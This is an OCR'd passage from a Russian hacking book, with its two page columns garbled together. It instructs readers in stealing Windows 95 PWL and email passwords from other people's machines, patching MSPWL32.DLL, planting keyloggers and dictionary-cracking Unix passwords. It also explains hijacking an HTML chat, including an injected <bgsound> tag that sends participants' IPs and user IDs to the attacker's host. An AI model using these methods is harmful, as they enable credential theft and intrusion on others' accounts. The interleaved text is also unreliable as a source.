этот пароль отыскивать всеми возможными и невозможными спосо ни... нет, скорее, кличке) данного пользователя.
бами.
Зашифрованы эти файлы, в принципе, достаточно прилично. Ес
Итак, стадия первая. Были времена, когда пароль пользователь ли комулибо интересно, то, взяв в руки какой нибудь дизассемблер
мог выбирать сам. Безусловно, с одной стороны, это было удобно: если (HIEW, QVIEW), можно посмотреть процедуру шифрования. Она нахо
сам слово это заветное придумал, то уж не забудешь никогда (если толь дится в файле MSPWL32.DLL. В версии OSR2pus со смещением
ко пребывал в этот момент в здравом уме и твердой памяти, но это уже к 488(hex).
делу не относится). Пароль же выбирался не просто так: для указанного
пользователя он обычно нес определенную смысловую нагрузку. Вот уж где накручено. Имеется счетчик (назовем его N) от нуля до
И в этом было слабое место данного метода. «сколько надо». Имеются три таблицы. В соответствии со счетчиком N,
берется байт из первой таблицы (X). По смещению X+N, урезанному до
Теперь только в дешевых фильмах увидишь некоего гражданина, 8 бит, из второй таблицы берется другой байт (Y). Затем по адресу X+Y,
копающегося в мусорной корзине своей будущей жертвы в надежде уз опять же урезанному до 8 бит, из третьей таблицы берется третий байт
нать имена, фамилии, даты рождения всех родственников таковой (Z). После столь хитрых манипуляций командой XOR с байтом Z шиф
вплоть до десятого колена, а также всех их собак, кошек, крыс, хомяков руется байт информации, после чего счетчик инкрементируется, и все
и прочей живности. И не без успеха! А как же еще: а что вам, например, повторяется сначала.
первым приходит на ум? Конечно: имя вашей (или не вашей) подруги
или кличка вашей собаки, ну, или слово какое, непотребное (но это уже Кстати, таблиц, на самом деле, может оказаться и две, и одна (ис
от воспитания зависит!). Наиболее продвинутые хакеры начали даже со пользуются несколько раз на разных этапах). Расшифровывается все это
ставлять специальные словари с учетом наиболее часто встречающихся аналогично (и той же процедурой), ибо команда XOR обратима.
в паролях слов. Если же у вас стоит какаято другая версия Windows, то это дела
Все это, в конце концов, положило конец первой стадии, и нача не меняет. Неизвестно, в чьих нездоровых мозгах могла появиться
лась вторая: теперь пароль выдает компьютер, то есть генерирует некото мысль использовать для шифрования команду хоr byte ptr [eax+ebp],cl.
рую псевдослучайную последовательность букв, цифр и разных знаков Может, запутать хотели? А команда уникальна, такие команды в обыч
препинания. Хорошото как стало: «tHa73?Lp» — подика подбери! Но ных программах еще поискать надо. Стало быть, ищем соответству
тут возникла другая проблема: а подика запомни! Пользователи наши ющую ей комбинацию 30h, OCh, 28h — и все дела. Дальше — просто. Бе
начали их на бумажках записывать, ну и, периодически... правильно: бу рем MSPWL32.DLL и со смещения 511 h (или там, где найдем) ставим
мажки терялись, похищались, попадали в мусорную корзину и т.д. — от 90h, 90h, 90h — команды NОР (пустая операция). И все, команда не вы
полняется!
Хакерские трюки 221 222 Хакерские трюки

Что при этом произойдет? Да ничего! Ничего страшного и даже не Я все так и сделал, скажете вы, а вот тот User в Windows с паролем
очень страшного. И даже никто ничего не заметит!!! Все останется как входил, а мне теперь не войти — паролято я не знаю. Что делать? Не бе
всегда, с одним лишь исключением: все логины/пароли будут видны, так да! Есть способ проще! Уносим только USER.DAT! А теперь еще раз:
сказать, невооруженным глазом! Тут, правда, есть два неприятных Windows'95 — MustDie!
момента. Вопервых, во время работы Windows вам не удастся подобным
Как вам известно, кроме интерактивного доступа в Internet, про
образом надругаться над их «святая святых»: писать в этот файл нельзя.
вайдеры предлагают еще и email. Так вот, чтобы залезть в ваш почтовый
Значит, придется перегружаться в режиме эмуляции MSDOS, а это
ящик, в тот, что у вас на лестнице, нужен ключ (или лом). Чтобы залезть
лишнее время, которого может не быть. Вовторых, а это еще хуже, вам
в ваш email, нужен пароль (или виртуальный лом). И тут можно сказать:
надо будет стереть все PWL'ы, иначе даже в Windows не пустят: а вот тут
пароль к РОРЗящику всегда тот же, что и DiaIUp!
у законных пользователей могут возникнуть лишние вопросы и подо
зрения. Ну и что? А вот что: пароль email находится не в PWL'e,
а в USER.DAT, и зашифрован он не так сильно, вернее, почти совсем не
А можно проще? Без дизассемблеров и «насильственных дей
зашифрован!
ствий»? Можно! И вот здесь мы скажем то, за что (и за многое, увы, дру
гое) Windows 95 иначе как MustDie по праву никто не называет. А это как? А вот как! Метод «шифрования» напоминает UUEко
дирование, иначе говоря, из трех байтов делают четыре или из восьми
Вы, наверное, думаете, что пароли расшифровываются только то
битов — десять. Весь исходный пароль разбивается на части по три бай
гда, когда это надо, а затем «выжигаются» из памяти «каленым желе
та. В результирующей строке на один символ отводится 10 битов. Те
зом»? — ну вот еще... Открытые пароли постоянно хранятся в системе —
перь: к каждому байту исходной строки прибавляется 30h, если сумма
с момента входа в Windows данного пользователя и до момента его выхо
больше, чем 7Ah, то он становится равен 30h, а к паре 9 и 10 битов добав
да! Вот вам и безопасность. Но этого мало: они доступны любым прило
ляется единица. Однако есть исключения. Если общая длина строки па
жениям через API Windows. И вот результат: появляется программа
роля не кратна трем, то она дополняется байтами 3Dh. Судя по всему,
PWLVIEW, которая спокойно показывает вам «всю подноготную» вашей
это ODh (конец строки)+30. В конце строки ODh, OAh: стандартное за
(или не вашей) машины. В том числе и DiaIUp, и сетевые пароли. Фор
вершение.
мат выдаваемой информации таков:
Rna\1 e соединение\1 й логин 1 й пароль Как правило, подобрать пароль вручную проще, чем написать со
Rna\2 e соединение\2 й логин 2 й пароль ответствующую программу: не каждый же день вы эти пароли подбира
ете! Принцип прост: запускаем Internet Mail, заходим в Сообщение ➪ Па
и так далее.
раметры ➪ Сервер. Запускаем REGEDIT, переходим в
Да, это все хорошо, но она работает в окне DOS, а это... унизитель HKEY_CURRENT_USER ➪ Software ➪ Microsoft ➪ InternetMail and News
но: мелкий шрифт, белым по черному... А нет ли еще чегонибудь, ближе ➪ Mail ➪ POP3 ➪ <Ваш сервер>: смотрим Password.
и роднее? Есть. Есть еще одна штука, PEEPER называется. Эта идет еще
Удаляем пароль в Internet Mail. Первый подбираемый символ вли
дальше. Пароль, как вы можете заметить, не показывается, вместо него
яет на первый и второй байты, второй — на второй и третий, третий — на
звездочки. Так вот: запускаем PEEPER, запускаем соединение, наводим
третий и четвертый. Теперь: подбираем символ так, чтобы первый байт
мышь на звезды и в окне PEEPER видим... правильно, открытый пароль.
совпал с оригиналом, а второй или совпал, или был самый большой, но
Вы скажете: у меня нет ни времени, ни возможности ковыряться в меньше оригинала. Аналогично для второго и третьего символов. С под
чужой машине, нельзя ли стянуть у соседа этот самый PWL, а потом, до бором третьего символа все четыре байта должны совпасть! Если нет —
ма, разобрать? Можно, только это вам ничего не даст: не будет он у вас извините, вы ошиблись. Естественно, после каждой замены символа на
работать. Вернее, он один не будет. Нужно унести еще и USER.DAT. По жимаем «Применить». Результат контролируем REGEDIT'ом, переходя
сле чего дома «создать» User'a с именем из PWL, заменить свой выше/ниже для обновления информации. Когда первые три символа по
USER.DAT на цельнотянутый и еще добавить в Windows тянутый PWL. добраны, возвращаемся для следующих трех, и т.д. до конца. Разумеется,
После чего войти в Windows под соответствующим именем и... дальше байт(ы) 3Dh подбирать не нужно! После некоторой тренировки на все
в игру вступает PWLVIEW. это уходит меньше 15 минут.
Хакерские трюки 223 224 Хакерские трюки

А где это счастье хранится? И, кстати, ведь кроме логина и пароля, на такую мелочь, а другие в лучшем случае могут подбирать пароли по
еще многое нужно знать, а откуда, не звонить же провайдеру? Не надо словарю, а это бесполезно, в худшем — над вами просто хотят посмеять
никому звонить! Все в нем, в USER.DAT. ся или, того хуже, сделать вам гадость (прецеденты уже были).
HKEY_CURRENT_USER ➪ RemoteAccess ➪ Addresses: и мы имеем
список подключений. Да, но там ничего не понятно, цифирь... Глава 18.
Правильно! Выбираем байт, которого больше всего, и дешифруем Паpоли в UNIX'e
им все остальные (обычный ХОR). В результате в куче всякой ерунды по
лучаем ASCIIстроку с номером модемного телефона провайдера. Файл паpолей в UNIX'e — это /etc/passwd, пpичем маленькими
HKEY_CURRENT_USER ➪ RemoteAccess ➪ Profile ➪ <подключе буквами, если кто не в куpсе.
ние> ➪ IP: со смещения OCh четыре байта задом наперед — первичный Если вместо паpолей стоят *, это значит: либо нет входа по этим
DNS, затем еще четыре — вторичный и т. д. паpолям, либо паpоли оттенены — shadowed. Тогда паpоли хpанятся в
HKEY_CURRENT_USER ➪ RemoteAccess ➪ Profile ➪ <подключе файле /etc/shadow или /etc/master.passwd, котоpый недоступен для чте
ние> ➪ User: логин. ния. Есть ваpианты, когда в поле паpоля стоит текст типа «##root»,
«##egor», то есть имена пользователей — тогда зашифpованный паpоль
HKEY_CURRENT_USER ➪ Software ➪ Microsoft ➪ Windows ➪ беpется из /etc/shadow или master.passwd по соответствующему пользова
CurrentVersion ➪ InternetSettings ➪ ProxyServer: Proxyсервер и порт. телю. То есть если логин egor имеет запись в поле паpолей «##quake»,
HKEY_CURRENT_USER ➪ Software ➪ Microsoft ➪ Internet Mail and тогда его паpоль беpется из поля паpоля в файле passwd пользователя
News ➪ Mail: ➪ DefaultPOP3Server: quake. То есть это пpосто ссылка. В таких системах (напpимеp, Minix) от
тенение паpолей является pодным.
➪ DefaultSMTPServer:
Файл паpолей, котоpый вы можете ftp`нуть — это фейк. FTPката
➪ SenderEMail: лог фоpмиpуется так:
➪ Name: /home/ftp/bin
/home/ftp/etc
➪ Organization: это все и так понятно. /home/ftp/pub
➪ POP3r <РОР3сервер>: /home/ftp/....
Когда вы телнетитесь на поpт 21 (или делаете ftp), то для вас
➪ Account: это понятно.
коpнем становится каталог /home/ftp/ удаленной машины. А на ней в
➪ Password: ну, вот и он, родимый. /home/ftp/etc есть и файл гpупп — group и файл passwd, котоpые являют
ся, по сути, фейком.
А что делать, если пользователь — мазохист? Т.е. хранит пароли
в компьютере, а вводит их каждый раз с клавиатуры? И этому горю мож Паpоли в Юниксе шифpуются так: salt+паpоль зашифpовывается
но помочь. Существуют программы типа SPYWIN или HOOKDUMP. по ключу паpоль.
Они записывают все действия, производимые на компьютере. Достаточ
Таким обpазом, если мы вводим себе паpоль «doomii», то отфо
но подсадить одну из них и... если вам потом не лень будет разбирать те
наpно генеpится salt (две буквы) и пpоизводится такая зашифpовка:
десятки килобайт, которые будут порождены этими шпионами. Есте
«.i» — salt, «doomii» — то, что шифpуется, и «doomii» — ключ. Шифpовка
ственно, их можно использовать и для других целей.
осуществляется алгоpитмом DES. salt — это две буквы, специальная
В заключение можно сказать следующее: не берите и уж тем более пpимочка для хакеpов — они генеpятся отфонаpно в момент шифpовки.
не запускайте у себя всякие «крякеры Internet`а», почерпнутые с BBS и из Таким обpазом, исключается написание компилятоpов словаpей —
FIDO. Они могут «крякнуть» только информацию на вашем винчестере! пpогpаммы, котоpая бы один pаз зашифpовала весь файл паpолей, и
Ибо тот, кто может взломать провайдера, никогда не будет распыляться пеpебоp длился бы приблизительно 1 сек. Итак, мы пpишли к тому, что
Хакерские трюки 225 226 Хакерские трюки

функция шифpования является одностоpонней. Когда пользователь пpи Фоpмат /etc/shadow aka /etc/master.passwd:
входе вводит паpоль, читаются две буквы из файла паpолей — пеpвые две login:password
буквы зашифpованного паpоля — salt. По ним пpоизводится та же
Тепеpь ближе к теме: как ломать. Ломать паpоли статистическим
опеpация, что и выше, только salt`ом являются эти две буквы. После
методом нельзя — давайте вычислим скоpость pаботы. Итак,
шифpования зашифpованный текст сpавнивается. И если он совпадает,
127 – 32 символа = 95. Тепеpь 95^количество_букв. Как пpавило, 8. Это
то это либо юзеp, либо хакеp. Паpоль может состоять из: 32127. По
95*95*95* 95*95*95*95*95 = .....
опpеделению — не коpоче 6 символов, не длиннее 8.
Тепеpь смотpите. Зашифpовка 2000*8 байт длится на 486dx4120
Hо. Hекотоpые Юниксы пpопускают паpоли любой длины до
около 900 ms — то есть секунда — это 2100*8 байт. Если мы pазделим 95^8
8 символов, а некотоpые — до 16.
на (2100*8) — мы получим количество секунд для полного пеpебоpа всех
Как пpавило, когда вы pешаете менять свой паpоль, Юникс ваpиантов одного логина. Hо это на 486dx4120 — около двух лет!!! Так
пpовеpяет пpиведенный паpоль на следующие вещи: чтобы все буквы не что этот метод отбpасывается напpочь.
были одного caseа и чтобы это не было слово. Юникс пpошаpивает у се
Hо ломают же както ? Пpосто. Bruteforce метод — метод словаpя.
бя словаpь (около двух метpов, как пpавило) на тему: а не ввел ли юзеp
Мы имеем словаpь английских слов, котоpый и пеpебиpается. Больше
обычное слово. И такие паpоли отвеpгает. Есть еще некотоpые нюансы,
словаpь — больше шансов.
по котоpым он опpеделяет, что паpоль слишком пpост для взлома —
напpимеp, если все цифpы. Этого всего не пpоисходит, если паpоль вво Многочисленные пpогpаммы bruteforceкpэкинга умеет извpа
дит root — пpедполагается, что pут может делать все, что хочет, в т.ч. щать слова из словаpя по ходу кpэкинга.
и вводить пpостые паpоли.
Таким обpазом, когда попадается в словаpе слово «spaces», то
Фоpма файла паpолей такова: пpогpамма пpовеpяет: «spaces», «Spaces», «SPACES», «SpaceS», «spaceS»,
login:password:UID:GID:comments:home:shell ну, и т.д.
где Пpактика показывает, что пеpебоp, скажем, пяти логинов длится
по словаpю с использованием максимального извpащения пpи словаpе в
login: имя логина, напpимеp, egor, vasya или root. Кстати, pут, как
800 килобайт около получасачаса. Если с минимальными извpащения
пpавило, не может дистанционно залогиниться на машину.
ми, т.е. совсем без оных, — около полутоpа минут на логин.
password: паpоль в том самом зашифpованном виде. Hапpимеp:
salt — это две буквы, специальная пpимочка для хакеpов — они ге
«piGH5\fh32IjPb» — это поле, как пpавило, 13 символов. Также тут со
неpятся отфонаpно в момент шифpовки. Таким обpазом, исключается
деpжатся подполя, котоpые используются для опpеделения возpаста
написание компилятоpов словаpей — пpогpаммы, котоpая бы один pаз
паpоля — если он, скажем, достаточно стаp, то Юникс потpебует его сме
зашифpовала весь файл паpолей, и пеpебоp длился бы приблизительно
нить, или не даст сменить, если пароль недостаточно стаp. Как пpавило,
1 секунду.
такую фичу не используют.
Возможно, вас это удивит, но такой подход все pавно использует
UID: User ID. Hомеp пользователя для файловой системы.
ся (напpимеp, в QCrack от Crypt Keeper). 4096 pазличных salt'ов — не так
GID: Group ID. Hомеp гpуппы для файловой системы. много. Тем более если учесть, что достаточно хpанить по одному байту от
шифpованных слов (т.е. получаем 4 Kb на слово), т.к. можно использо
Comments: Как пpавило, имя пользователя. Также есть подполя,
вать такой алгоpитм пеpебоpа: если пеpвый байт шифpованного паpоля
в котоpых указывается офис, номеp телефона офиса, дома и т.д.
не совпадает — к следующему, если совпадает, ну, ничего не поделать —
home: домашний каталог. Это отдельная файловая система, ко вызов crypt(). Получаем быстpодействие в 256 pаз выше, чем в обычных
тоpая монтиpуется как /usr, где подкаталог egor, скажем, является для wordlistкpэкеpах ценой pазмеpа wordlist'а, котоpый увеличится
меня домашним. Либо домашний каталог может относиться к /home. пpимеpно в 500 pаз. Так что можно взять wordlist гденибудь на мегабайт,
один pаз зашифpовать, записать на CDROM и пpодавать.
shell: шелл для логина. Как пpавило, /bin/sh.
Хакерские трюки 227 228 Хакерские трюки

Глава 19. сто редактирование исходного кода и последующая перекомпиля


ция) — разве было бы возможно существование защит вроде VBox?
Защищаем Linux А пока для вас плохие новости — ваша программа обязательно бу
Представим, что вы потратили кучу времени и ресурсов, разраба дет сломана. Это на самом деле чисто экономический вопрос. Предста
тывая последние несколько месяцев неплохую программу, и даже отче вим, что ваш программный продукт стоит 1000$. Среднемесячная зар
гото имеете версию для Linux`а. Видимо, вы хотите окупить затрачен плата неплохого программиста из нашей страны едва ли составляет 200$.
ные усилия — проще говоря, заработать на своей программе кучу денег. Таким образом, если какойнибудь парнишка из Сибири затратит на
И если вы не опубликовали свой исходный код, в надежде заработать слом вашего творения меньше 5 месяцев — он будет экономически выго
другими способами, то необходимо както защитить вашу программу от ден. Заметьте, что здесь ни слова не было сказано ни об операционной
несанкционированного копирования. Т.е. программа должна работать системе, под которой работает ваш шедевр, ни о сложности и стоимости
только у того, кто ее купил, и не должна работать (или работать непра использованной системы защиты.
вильно, или, что бывает чаще всего, иметь функциональные ограниче Что же делать — идти в монастырь (хотя в женский иногда наве
ния) у халявщиков и крякеров. Проще говоря, чтобы ваш уникальный дываться — наверное, неплохая идея)? Вы должны рассматривать защи
алгоритм не смогли своровать. ту своего программного продукта не как 100% средство от ваших голов
Если разработке/снятию защит под DOS/Windows посвящено ных болей, а всего лишь как средство, затрудняющее жизнь крякеру.
множество сайтов, то практически невозможно найти ни одной работы, Скажем, если ваша защита остановит 9 крякеров из 10 — это очень не
посвященной тому же самому, но под Linux. Между тем уже имеется плохой результат. Конечно, не все 9 остановленных купят вашу про
множество коммерческих программ под эту, в общем, не самую плохую грамму, но их будет явно больше, чем для случая, когда ваша защита
из распространенных, OS. С прискорбием заметим, что вся их «защита» сломана 9ю из 10.
составляет максимум 1% от их Windows аналогов и снимается в худшем Итак, довольно пустых разговоров. Для начала сделаем краткий
случае за пару часов. обзор применяемых крякерами инструментов (хотя вполне возможно
Постараемся объяснить, почему происходит именно так, почему рассматривать Linux как один большой инструмент крякера).
под Linux`ом не работают многие традиционно используемые для защи
ты Windowsпрограмм способы, и, возможно, после прочтения этой гла Отладчики
вы вы сможете придумать чтото действительно эффективное. GDB
Итак, в чем же главное отличие Linux от прочих OS? В доступно Отладчик userlevel mode. Загружает файлы с помощью BFD.
сти исходного кода всего (ну, кроме, разве что, вашей программы, стоя Чтото вроде старого недоброго debug из DOSа. Также оформлен как
щей мегабаксы), что работает (или не работает) на вашей машине. Это библиотека. К нему есть множество интерфейсов, наиболее удобный для
делает написание защиты под Linux просто кошмаром — вы не можете X Windows, IMHO, DDD (требует LessTif). Также заслуживает отдельно
быть уверены, что функция strcmp из стандартной runtime library — это го упоминания SmartGDB. Крайне интересная идея прибить сбоку от
действительно strcmp, а не ее измененный (обычно не в вашу пользу) ладчика script engine. Вещь очень любопытная с точки зрения автомати
эмулятор. зации труда крякера — вы можете написать script, который посадить
затем как триггер на точку останова. Ваш script смог бы, например, про
Вы не можете доверять ничему в такой операционной системе —
верить переменные в отлаживаемой программе, и в зависимости от их
вследствие доступности исходного кода любая ее часть может быть мо
значения, например, поставить новую точку останова (с новым scriptом),
дифицирована крякером для взлома вашей программы, включая такие
сбросить кусок памяти в файл, сварить какаву...
важнейшие компоненты, как ядро и runtime library. Ваша программа
работает в самой агрессивной среде, какую только можно себе предста Kernal level debugger
вить. В самом деле, если бы вы могли изменить в Windows 9x, скажем,
от все той же SGI. Пока крайне сырая вещь (и требует нестабиль
kernel32.dll (имеется в виду не ковыряние в машинном коде с помощью
ной версии кернела), но может служить прототипом для более пригод
дизассемблера, хотя возможно использовать и такой метод — нет, про
ных к использованию изделий.
Хакерские трюки 229 230 Хакерские трюки

Дизассемблеры Стандартные средства разработки


Без сомнения, IDA Pro. Также иногда можно на скорую руку ис Для модификации ядра/runtime библиотек (а также для создания
пользовать Biew, objdump (или даже ndisasm, дизассемблер от Netwide patch`ей и keygen`ов) нужен как минимум компилятор «C».
Assembler), но это несерьезно. Более неизвестны инструменты, которые
позволяют дописывать к ним новые процессорные модули, загрузчики Способы защиты
для нестандартных форматов файлов, а также plugins, облегчающие авто Итак, надеемся, вы еще не уснули и не впали в депрессию. Что же
матический/интерактивный анализ. можно противопоставить всему вышеописанному ? Явно годятся далеко
strace не все методы, используемые в Win32. Тем не менее, представим не
сколько...
или truss под UnixWare. Аналог regmon/filemon/BoundsChecker
в одном флаконе. Ядро Linux`а имеет поддержку перехвата системных Против BFD (GDB, objdump, strings и т.д.)
вызовов (функция ptrace). Т.е. можно запустить любой процесс как под BFD — это библиотека для манипуляций с бинарными файлами.
лежащий трассировке через ptrace, и вы сможете отследить все систем По счастливому стечению обстоятельств она используется также отлад
ные вызовы с их параметрами. Более того, после небольшой модифика чиком GDB. Но для ELFформата (наиболее распространенный формат
ции эта функция (которая имеет доступ к виртуальной памяти исполнимых файлов под всеми современными Unix`ами) она реализует
трассируемого процесса) может быть использована, например, для неправильный алгоритм загрузки. Для этого можно использовать sstrip
runtime patching, внедрения кода в адресное пространство любого про или ELF.compact (собственно, они делают одно и то же).
цесса, и так далее, и тому подобное.
Преимущества:
ptrace
Очень простой метод. Берете вашу готовую отлаженную програм
Менее надежное, но более простое в реализации средство. Можно
му и вместо команды strip запускаете elf_compact (или sstrip).
вызвать ptrace для самого себя. Если вызов был неудачен — значит, нас
уже трассируют, нужно сделать чтонибудь по этому поводу (sys_exit, на Помимо всего прочего, вы уменьшите размер вашего дистрибути
пример). Впрочем, ведь если нас уже трассируют, ничего не стоит пере ва. Хотя, глядя на размеры современных дистрибутивов Linux`а, этот ар
хватить данный вызов и вернуть все что угодно... гумент кажется просто смешным... на этом преимущества заканчивают
ся и начинаются…
Memory dumpers
Файловая система /proc может использоваться для таких целей. Сплошные недостатки:
Файл maps используется как карта выделенной процессу виртуальной Поскольку исходники BFD публично доступны, теоретически лю
памяти, а файл mem является ее отображением, можно сделать в нем seek бой может доработать этот замечательный пакет, так что шансы снова
на нужный адрес и легко сохранить необходимый участок в файл или ку будут не в вашу пользу. Собственно, вы должны помнить, что в Linux`е
давытамхотите. Простая программа на Perl размером 30 строчек мо это относится ко всему. Но пока этот метод работает.
жет быть использована для снятия дампа памяти вашей драгоценной
программы и сохранения ее в файл. Намного проще, чем под Win32. Данный вариант может рассматриваться как очень простая защи
та от полных ламеров, rating 0.1%.
Шестнадцатеричные редакторы Компрессия/шифрование кода программы
С этим тоже никогда не было больших проблем. Даже стандарт Самый распространенный метод защиты под Win32. Под Linux`ом
ный просмотровщик Midnight (или Mortal, его второе имя) Comanderа этот метод имеет некоторые особенности. Самое большое отличие в том,
умеет редактировать в шестнадцатеричном представлении. Для гурманов как разрешаются ссылки на внешние модули.
рекомендуем Biew.
Хакерские трюки 231 232 Хакерские трюки

Статическая линковка си. Таким образом, разделение сегментов кода между процессами воз
Не имеющий аналогов под Win32 метод. При сборке программы можно только между родителем и его потомками (как результат функции
все используемые ею библиотеки просто статически линкуются в один fork). Эти же аргументы применимы и к утверждению, что якобы «упа
большой толстый модуль. Т.е. для запуска такой программы ничего до ковка кода программы приводит к увеличению ресурсов, необходимых
полнительно делать не нужно — такая программа самодостаточна. для запуска такой программы».

Преимущества: Динамическая линковка


Большую программу ломать труднее, чем маленькую. Под Win32 все программы являются динамически слинкованны
ми как минимум с системными .DLL, реализующими API. Более того,
Независимость от среды исполнения. В самом деле, довольно час такая линковка осуществляется опять же самой системой с помощью все
то возникают конфликты версий, установленных на машине конечного тех же функций API. Под Linux`ом все подругому. Вопервых, програм
пользователя библиотек, изза чего ваша программа может просто не ра ме совершенно не обязательно быть динамически слинкованной.
ботать. В случае статически слинкованной программы такие проблемы Вовторых, программа сама должна заботиться о загрузке всех необходи
устраняются (а точнее, просто не возникают). мых модулей и динамическом разрешении ссылок. Это, правда, вовсе не
Устранение (хотя и не 100%) возможности перехвата и эмуляции означает, что вам каждый раз придется писать код загрузки модуля в па
библиотечных вызовов. В такой программе вы будете несколько более мять. Среда исполнения (а не kernal — как в Win32) предоставляет реали
уверены, что при вызове, скажем, strcmp будет вызвана ваша статически зацию динамического загрузчика по умолчанию — в терминах Linux его
слинкованная функция strcmp, а не неизвестно что. Хотя в Linux никогда называют ELF interpretor, или просто interpretor. При линковке в про
и ни в чем нельзя быть уверенным до конца. грамму помещается информация, что для ее запуска необходимо после
загрузки самой программы также загрузить interpretor и передать ему уп
Недостатки: равление. На этом загрузка файла на исполнение с точки зрения кернела
Увеличение размера программ. заканчивается. Но ваши головные боли только начинаются! Итак, чем
плох стандартный ELF interpretor?
Если вы думаете, что таким образом сможете затруднить жизнь
крякеру, вы глубоко ошибаетесь. С помощью технологии FLAIR, ис Тем же, чем и весь Linux, — его исходники доступны, соответ
пользуемой в IDA Pro, а также применив инструмент RPat для создания ственно, он может быть легко изменен для достижения неизвестных вам
сигнатур исходных библиотек (использованных вами при статической целей.
линковке), все ваши библиотечные функции могут быть легко опознаны. Он поддерживает уникальный для Unix`ов механизм предвари
Более того, обычно не составляет большого труда выяснить, какие имен тельной загрузки. Рассмотрим его подробнее. Итак, предположим, что
но библиотеки используются, собрать их и сделать файлы сигнатур. ваша программа импортирует функцию strcmp. Злобный крякер может
Rating: 0.1%. написать собственную реализацию этой функции, создать объектный
Возможно, что ктонибудь станет утверждать, что статическая модуль и использовать ее вместо той, что вы ожидали! Для этого всего
линковкаде увеличивает необходимые ресурсы и что якобы разделя лишь нужно определить переменную среды LD_PRELOAD, чтобы она
емые библиотеки разделяют сегмент кода между всеми процессами, ис содержала список модулей, подлежащих загрузке перед модулями, им
пользующими их. То же самое утверждает большинство учебников по портируемыми вашей программой. Логика работы interpretor`а такова,
Unix, но это не так. Самое простое доказательство — просмотр атрибутов что если некая импортируемая функция уже разрешена, то она больше не
сегментов памяти, занимаемых разделяемыми библиотеками (файл maps разрешается (в Linux импорт происходит по имени, а не по имени и име
в файловой системе /proc). Вы почти никогда не увидите атрибута ни библиотеки, как в Win32). Таким образом, можно штатными сред
s(hared). Почему? Короткий ответ звучит так — изза ELF. Дело в том, ствами внедрить в адресное пространство вашей программы все, что
что при загрузке ELFфайла происходит настройка его перемещаемых угодно, заменив при этом любую импортируемую функцию. Похоже на
адресов — relocations. При этом сегменту памяти (даже если это сегмент ночной кошмар, не так ли? Вы все еще думаете, что Linux написали не
кода) присваиваются атрибуты Read/Write и если он при этом разделял крякеры?
ся несколькими процессами, происходит копирование памяти при запи
Хакерские трюки 233 234 Хакерские трюки

С стандартным interpretor`ом есть и еще одна проблема. Дело Глава 20.


в том, что его легко можно переписать для универсального инструмента,
отслеживающего все вызовы импортируемых функций. Была идея встро Взлом htmlBчатов
ить script engine в ELF interpretor, так что больше не нужно будет перепи
сывать его под каждую конкретную программу, а всего лишь заменить Предполагается, что читатель знает, что такое CGI, и на этом мы
script, который и сделает все, что нужно. Ведь ELF interpretor работает в построим свое объяснение.
адресном пространстве вашей программы, и он отвечает за начальную В любом чате фрейм, в котором вы пишете сообщения, генерится
загрузку импортируемых функций, т.е. фактически такой script будет динамически (для каждого входящего) и, возможно, содержит несколько
иметь над вашей программой полный контроль (под Win32 вообще неиз скрытых полей. Типа <input type=hidden name=cookie value=SP202134>
вестны подобные инструменты. BoundsChecker, конечно, может отсле (так хранится UserID).
живать все вызовы импортируемых функций, но пока никому не пришла
мысль дописать к нему script engine и использовать, например, для mem Идея в следующем: сохраняем содержимое этого фрейма на диске
ory patching). и исправляем его так, чтобы можно было с ним работать со своего винта.
Т.е. заменяем ссылки типа /cgibin/refresh.pl на полный путь
Если после прочтения предыдущего абзаца вы все еще не выбро www.chat.nsk.su/cgibin/refresh.pl и вместо скрытых полей формы пишем
сились из окна — есть для вас и хорошие мысли. Итак, что могут проти типа <input type=text name=cookie value=SP202134> (что бы можно было
вопоставить авторы защиты? Собственный загрузчик в кернеле. Можно их изменять) После этого делаем HTML документ для «сборки чата» из
просто переписать стандартный загрузчик ELFфайлов (файл кусков. Т.е. примерно так:
binfmt_elf.c из директории fs исходников ядра Linux), чтобы сделать
"First.htm"
жизнь крякера несколько тяжелее. Например, сбрасывать флаг трасси
<html>
ровки процесса, иметь собственный формат исполнимых файлов (есте
<frameset rows="80%,20%">
ственно, вместе с перекодировщиком обычных ELFов в этот формат),
<frameset cols="70%,30%">
декриптовать/декомпрессировать куски файла перед загрузкой их в па
<frame name="razg" src="http://www.chat.nsk.su/cgi
мять и т.д. Недостатки: как ни странно, самым большим недостатком
bin/refresh.cgi?win+razgovor+nocookie#end">
является необходимость иметь собственный код в kernel`е. Поскольку у
<frame name="rigt" src="http://www.chat.nsk.su/right.html">
конечного пользователя, что вполне естественно, время от времени воз
</frameset>
никает необходимость в пересборке кернела, вы должны будете предо
<frame name="bot" src="start.htm">
ставить либо объектный модуль (для насмерть прибитого гвоздями в кер
</frameset>
нел кода), или опять объектный модуль (для LKM — Linux Kernal
</html>
Module). И то, и другое легко можно дизассемблировать/пропатчить,
и история повторяется... Start.htm — это и есть тот фрейм, который мы сохранили и изме
нили.
Как насчет смены версии кернела? Например, грядет смена ядра
2.2 на 2.4 — нужно будет иметь (и поддерживать!) как минимум код для После этого просто браузером открываем страницу (First.htm).
обеих версий ядра... И сразу(!!!) попадаем в чат, минуя стандартную процедуру входа.

А если вы допустите ошибку? Если для userlevelпрограмм ваши Это позволит:


ошибки, скорее всего, не смертельны, то ошибки в коде кернела могут 1. Обходить зарегистрированные имена.
иметь весьма плачевные последствия. Кроме того, отладка такого кода
является сущим кошмаром, поверьте… 2. Прятать свой IP от киллеров за счет взятия чужого ID'a.
Субъективная причина — сложность установки. Но при всех недо Дальше интересно вычислить IP участников. Если не запрещен
статках — это вполне приемлемый вариант. тэг <bgsound src="">, то это позволит вставлять в свое сообщение ресурс
со своей машины. Сам по себе звук не нужен, но этот косяк позволил
вставить в свой месс строку типа <bgsound src="http://MyIP/cgibin/
Хакерские трюки 235 236 Хакерские трюки

spy.exe">. Этот скрипт (spy.exe) вызывался с машины каждого участника Глава 21.
чата. Это позволит увидеть IP всех (скрипт просто сохраняет на винт дан
ные из переменной окружения REMOTE_ADDR). Примерно в это же Как ломать приложения Windows
время в чате появились приваты. Это значит, что документ в главном
фрейме (тот, где мессы все) стал называться подругому. Введение
До приватов: Ломать программы Windows в большинстве случаев даже проще,
http://www.chat.nsk.su/cgi bin/refresh.cgi?win+razgovor#end чем ломать программы DOS. В Windows сложно чтонибудь скрыть от то
После появления приватов: го, кто ищет, особенно если программа использует стандартные функ
ции Windows.
http://www.chat.nsk.su/cgi
bin/refresh.cgi?win+razgovor+SP345678#end Первая (и часто единственная) вещь, которая вам потребуется, —
Где SP456789 — UserID. это SoftICE/Win 2.oo, мощный отладчик от фирмы NuMega.

После этого в скрипт (spy.exe) был добавлен вывод ID'a из пере Обзор SoftICE/WIN 2.00
